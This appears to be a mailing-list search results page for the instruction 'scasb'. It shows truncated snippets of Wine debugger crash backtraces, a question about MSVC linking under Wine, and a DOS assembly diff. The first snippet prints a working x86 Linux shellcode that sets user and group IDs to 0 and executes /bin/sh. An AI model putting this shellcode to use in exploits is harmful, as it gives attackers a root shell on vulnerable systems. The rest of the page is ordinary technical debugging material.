search for: scasb

...code separately: --- shellcode.s --- .text .globl shellcode shellcode: xorl %eax,%eax movb $0x31,%al int $0x80 xchgl %eax,%ebx xorl %eax,%eax movb $0x17,%al int $0x80 .byte 0x68 popl %ecx popl %eax jmp *%ecx call *%esp xorl %eax,%eax cltd movl %ecx,%edi movb $''/''-1,%al incl %eax scasb %es:(%edi),%al jne -3 movl %edi,(%ecx) movl %edx,4(%ecx) movl %edi,%ebx incl %eax scasb %es:(%edi),%al jne -3 movb %dl,-1(%edi) movb $0x0B,%al int $0x80 xorl %eax,%eax incl %eax xorl %ebx,%ebx int $0x80 .byte ''/'' .string "/bin/sh0" --- shellcode.s --- Signed, Solar Des...

...n kernel32 (0x0032fea8) 10 0x7b85a68f ExitProcess+0xc2e() in kernel32 (0x0032fee8) 11 0x7bc734c8 call_thread_func+0xb() in ntdll (0x0032fef8) 12 0x7bc75f10 call_thread_entry_point+0x6f() in ntdll (0x0032ffc8) 13 0x7bc4b9aa call_dll_entry_point+0x629() in ntdll (0x0032ffe8) 0x7e084c95: repne scasb %es:(%edi) Modules: Module Address Debug info Name (105 modules) PE 330000- 344000 Deferred xinput1_3 PE 350000- 357000 Deferred x3daudio1_7 PE 400000- 855000 Export anomalywarzoneearth PE 860000- c09000...

...04: 00425250 00000000 401f13bc 00400000 0x4070dd14: 00000048 00000001 74666f53 65726177 0200: sel=1007 base=40001000 limit=00001f97 32-bit rw- Backtrace: =>1 0x00415244 in setup (+0x15244) (0x4070dcd0) 2 0x004061cb in setup (+0x61cb) (0x0042c200) 3 0x00000001 (0x00000000) 0x00415244: repne scasb %es:(%edi) Wine-dbg>quit WineDbg terminated on pid 0xd I've googled a lot and haven't found much info about Visual Basic 6, I know it's a bit old but I really want to have it running in my Linux ;) -- Regards Xavier

...4d52 4992ecb4 00000000 0x4992e638: 49f46bf9 4a044ff4 4a046800 78086d00 0x4992e648: 4992e664 49f80e3a 4a046800 78086d00 0x4992e658: 4a044ff4 78086eac 78086d00 4992e814 0x4992e668: 4a01b065 49f1c180 00018824 00000000 Backtrace: =>1 0x00404c4a in setup32 (+0x4c4a) (0x49bdda58) 0x00404c4a: repne scasb %es:(%edi) Modules: Module Address Debug info Name (53 modules) PE 0x00400000-0041b000 Export setup32 PE 0x10000000-1002b000 Deferred msuilstf ELF 0x46dfc000-46e01000 Deferred libxxf86dga.so.1 ELF 0x470b3000-470b8000 Def...

...f588: 00000001 7c47e2e0 00002200 0032f5b8 0x0032f598: 00000000 00000000 00000000 00000000 0x0032f5a8: 00000000 08e0002b 000001ff 7c4c6b38 0x0032f5b8: 0032f5e4 00000002 00000008 7bc49ca9 Backtrace: =>0 0x7e5112db in winex11 (+0x412db) (0x7c4bd750) 1 0x00000028 (0x7c47e2e0) 0x7e5112db: repne scasb %es:(%edi) Modules: Module Address Debug info Name (63 modules) PE 400000- 1367000 Deferred th07 ELF 7b800000-7b994000 Deferred kernel32<elf> \-PE 7b810000-7b994000 \ kernel32 ELF 7bc00000-7bccc000 Def...

...9c3b4062 (0xbf8fd258) 25 0x9c35cde8 in user32 (+0xcde8) (0xbf8fd268) 26 0x9c292d63 (0xbf8fd298) 27 0x1217:0x54ff (0x12b7:0x7fac) 28 0x1217:0x556c (0x12b7:0x7fbc) 29 0x1217:0x32fb (0x12b7:0x7fd4) 30 0x1227:0x6975 (0x12b7:0x7fe6) 31 0x1227:0x6942 (0x12b7:0x0000) 0x9da5d2fa: repne scasb %es:(%edi) Modules: Module Address Debug info Name (12 modules) PE 65f00000-65fc2000 Deferred ole32 PE 9c170000-9c174000 Deferred ntdll PE 9c220000-9c28c000 Deferred kernel32 PE 9c350000-9c361000 Export...

Prompted by Jonathan Grant's article I've been playing with running the MSVC++ command line tools under Wine. In particular I'm trying to compile and link a large DLL - about 4M in size. The problem is the amount of memory used by link.exe. At the moment, with 256M of real memory and 1G of swap I quickly run out. Under Windows2000, on the same machine, the link takes a long time

...mov [sectorsize],ax + mov ax,trackbufsize + shr ax,cl + mov [BufSafe],ax + + xor cx,cx + mov cl,[pspCmdLen] + dec cx + and cx,cx + jne continue + + mov ax,2 + mov bx, msg_usage + int 22h + ret +continue: + mov di,pspCmdArg+1 + add di,cx + dec di + std + mov al,' ' + repe scasb + inc cx + cld + mov [pspCmdLen],cl + mov si,pspCmdArg+1 + mov di,si + add di,cx + xor al,al + stosb + mov si,pspCmdArg+1 + +; get config file name + mov ax,0eh + int 22h + +; open config file + mov si,bx ; es:bx config file name + mov ax,6 + int 22h + jc no_config_file + and eax,ea...

...mov [sectorsize],ax + mov ax,trackbufsize + shr ax,cl + mov [BufSafe],ax + + xor cx,cx + mov cl,[pspCmdLen] + dec cx + and cx,cx + jne continue + + mov ax,2 + mov bx, msg_usage + int 22h + ret +continue: + mov di,pspCmdArg+1 + add di,cx + dec di + std + mov al,' ' + repe scasb + inc cx + cld + mov [pspCmdLen],cl + mov si,pspCmdArg+1 + mov di,si + add di,cx + xor al,al + stosb + mov si,pspCmdArg+1 + +; get config file name + mov ax,0eh + int 22h + +; open config file + mov si,bx ; es:bx config file name + mov ax,6 + int 22h + jc no_config_file + and eax,ea...